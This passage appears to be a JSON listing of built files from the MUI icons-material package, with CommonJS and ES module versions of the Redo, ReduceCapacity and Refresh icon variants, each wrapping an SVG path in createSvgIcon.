    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.4 10.6C16.55 8.99 14.15 8 11.5 8c-4.16 0-7.74 2.42-9.44 5.93-.32.67.04 1.47.75 1.71.59.2 1.23-.08 1.5-.64 1.3-2.66 4.03-4.5 7.19-4.5 1.95 0 3.73.72 5.12 1.88l-1.91 1.91c-.63.63-.19 1.71.7 1.71H21c.55 0 1-.45 1-1V9.41c0-.89-1.08-1.34-1.71-.71z\"\n}), 'RedoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RedoRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.4 10.6C16.55 8.99 14.15 8 11.5 8c-4.16 0-7.74 2.42-9.44 5.93-.32.67.04 1.47.75 1.71.59.2 1.23-.08 1.5-.64 1.3-2.66 4.03-4.5 7.19-4.5 1.95 0 3.73.72 5.12 1.88l-1.91 1.91c-.63.63-.19 1.71.7 1.71H21c.55 0 1-.45 1-1V9.41c0-.89-1.08-1.34-1.71-.71z\"\n}), 'RedoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RedoSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.4 10.6C16.55 8.99 14.15 8 11.5 8c-4.65 0-8.58 3.03-9.96 7.22L3.9 16c1.05-3.19 4.05-5.5 7.6-5.5 1.95 0 3.73.72 5.12 1.88L13 16h9V7z\"\n}), 'RedoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RedoSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.4 10.6C16.55 8.99 14.15 8 11.5 8c-4.65 0-8.58 3.03-9.96 7.22L3.9 16c1.05-3.19 4.05-5.5 7.6-5.5 1.95 0 3.73.72 5.12 1.88L13 16h9V7z\"\n}), 'RedoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RedoTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.4 10.6C16.55 8.99 14.15 8 11.5 8c-4.65 0-8.58 3.03-9.96 7.22L3.9 16c1.05-3.19 4.05-5.5 7.6-5.5 1.95 0 3.73.72 5.12 1.88L13 16h9V7z\"\n}), 'RedoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RedoTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.4 10.6C16.55 8.99 14.15 8 11.5 8c-4.65 0-8.58 3.03-9.96 7.22L3.9 16c1.05-3.19 4.05-5.5 7.6-5.5 1.95 0 3.73.72 5.12 1.88L13 16h9V7z\"\n}), 'RedoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReduceCapacity.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 4c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m4.78 3.58C19.93 7.21 18.99 7 18 7c-.67 0-1.31.1-1.92.28.58.55.92 1.32.92 2.15V10h5v-.57c0-.81-.48-1.53-1.22-1.85M6 6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m1.92 1.28C7.31 7.1 6.67 7 6 7c-.99 0-1.93.21-2.78.58C2.48 7.9 2 8.62 2 9.43V10h5v-.57c0-.83.34-1.6.92-2.15M10 4c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m6 6H8v-.57c0-.81.48-1.53 1.22-1.85C10.07 7.21 11.01 7 12 7s1.93.21 2.78.58C15.52 7.9 16 8.62 16 9.43zm-1 6c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m6 6h-8v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85zM5 16c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m6 6H3v-.57c0-.81.48-1.53 1.22-1.85C5.07 19.21 6.01 19 7 19s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85zm1.75-9v-2h-1.5v2H9l3 3 3-3z\"\n}), 'ReduceCapacity');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReduceCapacity.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 4c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m4.78 3.58C19.93 7.21 18.99 7 18 7c-.67 0-1.31.1-1.92.28.58.55.92 1.32.92 2.15V10h5v-.57c0-.81-.48-1.53-1.22-1.85M6 6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m1.92 1.28C7.31 7.1 6.67 7 6 7c-.99 0-1.93.21-2.78.58C2.48 7.9 2 8.62 2 9.43V10h5v-.57c0-.83.34-1.6.92-2.15M10 4c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m6 6H8v-.57c0-.81.48-1.53 1.22-1.85C10.07 7.21 11.01 7 12 7s1.93.21 2.78.58C15.52 7.9 16 8.62 16 9.43zm-1 6c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m6 6h-8v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85zM5 16c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m6 6H3v-.57c0-.81.48-1.53 1.22-1.85C5.07 19.21 6.01 19 7 19s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85zm1.75-9v-2h-1.5v2H9l3 3 3-3z\"\n}), 'ReduceCapacity');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReduceCapacityOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 4c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m4.78 3.58C19.93 7.21 18.99 7 18 7c-.67 0-1.31.1-1.92.28.58.55.92 1.32.92 2.15V10h5v-.57c0-.81-.48-1.53-1.22-1.85M6 6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m1.92 1.28C7.31 7.1 6.67 7 6 7c-.99 0-1.93.21-2.78.58C2.48 7.9 2 8.62 2 9.43V10h5v-.57c0-.83.34-1.6.92-2.15M10 4c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m6 6H8v-.57c0-.81.48-1.53 1.22-1.85C10.07 7.21 11.01 7 12 7s1.93.21 2.78.58C15.52 7.9 16 8.62 16 9.43zm-1 6c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m6 6h-8v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85zM5 16c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m6 6H3v-.57c0-.81.48-1.53 1.22-1.85C5.07 19.21 6.01 19 7 19s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85zm1.75-9v-2h-1.5v2H9l3 3 3-3z\"\n}), 'ReduceCapacityOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReduceCapacityOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 4c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m4.78 3.58C19.93 7.21 18.99 7 18 7c-.67 0-1.31.1-1.92.28.58.55.92 1.32.92 2.15V10h5v-.57c0-.81-.48-1.53-1.22-1.85M6 6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m1.92 1.28C7.31 7.1 6.67 7 6 7c-.99 0-1.93.21-2.78.58C2.48 7.9 2 8.62 2 9.43V10h5v-.57c0-.83.34-1.6.92-2.15M10 4c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m6 6H8v-.57c0-.81.48-1.53 1.22-1.85C10.07 7.21 11.01 7 12 7s1.93.21 2.78.58C15.52 7.9 16 8.62 16 9.43zm-1 6c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m6 6h-8v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85zM5 16c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m6 6H3v-.57c0-.81.48-1.53 1.22-1.85C5.07 19.21 6.01 19 7 19s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85zm1.75-9v-2h-1.5v2H9l3 3 3-3z\"\n}), 'ReduceCapacityOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReduceCapacityRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 4c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m4.78 3.58C19.93 7.21 18.99 7 18 7c-.67 0-1.31.1-1.92.28.58.55.92 1.32.92 2.15V10h5v-.57c0-.81-.48-1.53-1.22-1.85M6 6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m1.92 1.28C7.31 7.1 6.67 7 6 7c-.99 0-1.93.21-2.78.58C2.48 7.9 2 8.62 2 9.43V10h5v-.57c0-.83.34-1.6.92-2.15M10 4c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m6 6H8v-.57c0-.81.48-1.53 1.22-1.85C10.07 7.21 11.01 7 12 7s1.93.21 2.78.58C15.52 7.9 16 8.62 16 9.43zm-1 6c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m6 6h-8v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85zM5 16c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m6 6H3v-.57c0-.81.48-1.53 1.22-1.85C5.07 19.21 6.01 19 7 19s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85zm2.79-9h-1.04v-1.25c0-.41-.34-.75-.75-.75s-.75.34-.75.75V13h-1.04c-.45 0-.67.54-.35.85l1.79 1.79c.2.2.51.2.71 0l1.79-1.79c.31-.31.09-.85-.36-.85\"\n}), 'ReduceCapacityRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReduceCapacityRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 4c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m4.78 3.58C19.93 7.21 18.99 7 18 7c-.67 0-1.31.1-1.92.28.58.55.92 1.32.92 2.15V10h5v-.57c0-.81-.48-1.53-1.22-1.85M6 6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m1.92 1.28C7.31 7.1 6.67 7 6 7c-.99 0-1.93.21-2.78.58C2.48 7.9 2 8.62 2 9.43V10h5v-.57c0-.83.34-1.6.92-2.15M10 4c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m6 6H8v-.57c0-.81.48-1.53 1.22-1.85C10.07 7.21 11.01 7 12 7s1.93.21 2.78.58C15.52 7.9 16 8.62 16 9.43zm-1 6c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m6 6h-8v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85zM5 16c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m6 6H3v-.57c0-.81.48-1.53 1.22-1.85C5.07 19.21 6.01 19 7 19s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85zm2.79-9h-1.04v-1.25c0-.41-.34-.75-.75-.75s-.75.34-.75.75V13h-1.04c-.45 0-.67.54-.35.85l1.79 1.79c.2.2.51.2.71 0l1.79-1.79c.31-.31.09-.85-.36-.85\"\n}), 'ReduceCapacityRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReduceCapacitySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 4c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m4.78 3.58C19.93 7.21 18.99 7 18 7c-.67 0-1.31.1-1.92.28.58.55.92 1.32.92 2.15V10h5v-.57c0-.81-.48-1.53-1.22-1.85M6 6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m1.92 1.28C7.31 7.1 6.67 7 6 7c-.99 0-1.93.21-2.78.58C2.48 7.9 2 8.62 2 9.43V10h5v-.57c0-.83.34-1.6.92-2.15M10 4c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m6 6H8v-.57c0-.81.48-1.53 1.22-1.85C10.07 7.21 11.01 7 12 7s1.93.21 2.78.58C15.52 7.9 16 8.62 16 9.43zm-1 6c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m6 6h-8v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85zM5 16c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m6 6H3v-.57c0-.81.48-1.53 1.22-1.85C5.07 19.21 6.01 19 7 19s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85zm1.75-9v-2h-1.5v2H9l3 3 3-3z\"\n}), 'ReduceCapacitySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReduceCapacitySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 4c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m4.78 3.58C19.93 7.21 18.99 7 18 7c-.67 0-1.31.1-1.92.28.58.55.92 1.32.92 2.15V10h5v-.57c0-.81-.48-1.53-1.22-1.85M6 6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m1.92 1.28C7.31 7.1 6.67 7 6 7c-.99 0-1.93.21-2.78.58C2.48 7.9 2 8.62 2 9.43V10h5v-.57c0-.83.34-1.6.92-2.15M10 4c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m6 6H8v-.57c0-.81.48-1.53 1.22-1.85C10.07 7.21 11.01 7 12 7s1.93.21 2.78.58C15.52 7.9 16 8.62 16 9.43zm-1 6c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m6 6h-8v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85zM5 16c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m6 6H3v-.57c0-.81.48-1.53 1.22-1.85C5.07 19.21 6.01 19 7 19s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85zm1.75-9v-2h-1.5v2H9l3 3 3-3z\"\n}), 'ReduceCapacitySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReduceCapacityTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 4c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m4.78 3.58C19.93 7.21 18.99 7 18 7c-.67 0-1.31.1-1.92.28.58.55.92 1.32.92 2.15V10h5v-.57c0-.81-.48-1.53-1.22-1.85M6 6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m1.92 1.28C7.31 7.1 6.67 7 6 7c-.99 0-1.93.21-2.78.58C2.48 7.9 2 8.62 2 9.43V10h5v-.57c0-.83.34-1.6.92-2.15M10 4c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m6 6H8v-.57c0-.81.48-1.53 1.22-1.85C10.07 7.21 11.01 7 12 7s1.93.21 2.78.58C15.52 7.9 16 8.62 16 9.43zm-1 6c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m6 6h-8v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85zM5 16c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m6 6H3v-.57c0-.81.48-1.53 1.22-1.85C5.07 19.21 6.01 19 7 19s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85zm1.75-9v-2h-1.5v2H9l3 3 3-3z\"\n}), 'ReduceCapacityTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReduceCapacityTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 4c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m4.78 3.58C19.93 7.21 18.99 7 18 7c-.67 0-1.31.1-1.92.28.58.55.92 1.32.92 2.15V10h5v-.57c0-.81-.48-1.53-1.22-1.85M6 6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m1.92 1.28C7.31 7.1 6.67 7 6 7c-.99 0-1.93.21-2.78.58C2.48 7.9 2 8.62 2 9.43V10h5v-.57c0-.83.34-1.6.92-2.15M10 4c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m6 6H8v-.57c0-.81.48-1.53 1.22-1.85C10.07 7.21 11.01 7 12 7s1.93.21 2.78.58C15.52 7.9 16 8.62 16 9.43zm-1 6c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m6 6h-8v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85zM5 16c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m6 6H3v-.57c0-.81.48-1.53 1.22-1.85C5.07 19.21 6.01 19 7 19s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85zm1.75-9v-2h-1.5v2H9l3 3 3-3z\"\n}), 'ReduceCapacityTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Refresh.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.65 6.35C16.2 4.9 14.21 4 12 4c-4.42 0-7.99 3.58-7.99 8s3.57 8 7.99 8c3.73 0 6.84-2.55 7.73-6h-2.08c-.82 2.33-3.04 4-5.65 4-3.31 0-6-2.69-6-6s2.69-6 6-6c1.66 0 3.14.69 4.22 1.78L13 11h7V4z\"\n}), 'Refresh');"
  },
  {
    "path": "packages/mui-icons-material/lib/Refresh.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.65 6.35C16.2 4.9 14.21 4 12 4c-4.42 0-7.99 3.58-7.99 8s3.57 8 7.99 8c3.73 0 6.84-2.55 7.73-6h-2.08c-.82 2.33-3.04 4-5.65 4-3.31 0-6-2.69-6-6s2.69-6 6-6c1.66 0 3.14.69 4.22 1.78L13 11h7V4z\"\n}), 'Refresh');"
  },
  {
    "path": "packages/mui-icons-material/lib/RefreshOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.65 6.35C16.2 4.9 14.21 4 12 4c-4.42 0-7.99 3.58-7.99 8s3.57 8 7.99 8c3.73 0 6.84-2.55 7.73-6h-2.08c-.82 2.33-3.04 4-5.65 4-3.31 0-6-2.69-6-6s2.69-6 6-6c1.66 0 3.14.69 4.22 1.78L13 11h7V4z\"\n}), 'RefreshOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RefreshOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.65 6.35C16.2 4.9 14.21 4 12 4c-4.42 0-7.99 3.58-7.99 8s3.57 8 7.99 8c3.73 0 6.84-2.55 7.73-6h-2.08c-.82 2.33-3.04 4-5.65 4-3.31 0-6-2.69-6-6s2.69-6 6-6c1.66 0 3.14.69 4.22 1.78L13 11h7V4z\"\n}), 'RefreshOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RefreshRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.65 6.35c-1.63-1.63-3.94-2.57-6.48-2.31-3.67.37-6.69 3.35-7.1 7.02C3.52 15.91 7.27 20 12 20c3.19 0 5.93-1.87 7.21-4.56.32-.67-.16-1.44-.9-1.44-.37 0-.72.2-.88.53-1.13 2.43-3.84 3.97-6.8 3.31-2.22-.49-4.01-2.3-4.48-4.52C5.31 9.44 8.26 6 12 6c1.66 0 3.14.69 4.22 1.78l-1.51 1.51c-.63.63-.19 1.71.7 1.71H19c.55 0 1-.45 1-1V6.41c0-.89-1.08-1.34-1.71-.71z\"\n}), 'RefreshRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RefreshRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.65 6.35c-1.63-1.63-3.94-2.57-6.48-2.31-3.67.37-6.69 3.35-7.1 7.02C3.52 15.91 7.27 20 12 20c3.19 0 5.93-1.87 7.21-4.56.32-.67-.16-1.44-.9-1.44-.37 0-.72.2-.88.53-1.13 2.43-3.84 3.97-6.8 3.31-2.22-.49-4.01-2.3-4.48-4.52C5.31 9.44 8.26 6 12 6c1.66 0 3.14.69 4.22 1.78l-1.51 1.51c-.63.63-.19 1.71.7 1.71H19c.55 0 1-.45 1-1V6.41c0-.89-1.08-1.34-1.71-.71z\"\n}), 'RefreshRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RefreshSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.65 6.35C16.2 4.9 14.21 4 12 4c-4.42 0-7.99 3.58-7.99 8s3.57 8 7.99 8c3.73 0 6.84-2.55 7.73-6h-2.08c-.82 2.33-3.04 4-5.65 4-3.31 0-6-2.69-6-6s2.69-6 6-6c1.66 0 3.14.69 4.22 1.78L13 11h7V4z\"\n}), 'RefreshSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RefreshSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.65 6.35C16.2 4.9 14.21 4 12 4c-4.42 0-7.99 3.58-7.99 8s3.57 8 7.99 8c3.73 0 6.84-2.55 7.73-6h-2.08c-.82 2.33-3.04 4-5.65 4-3.31 0-6-2.69-6-6s2.69-6 6-6c1.66 0 3.14.69 4.22 1.78L13 11h7V4z\"\n}), 'RefreshSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RefreshTwoTone.js",
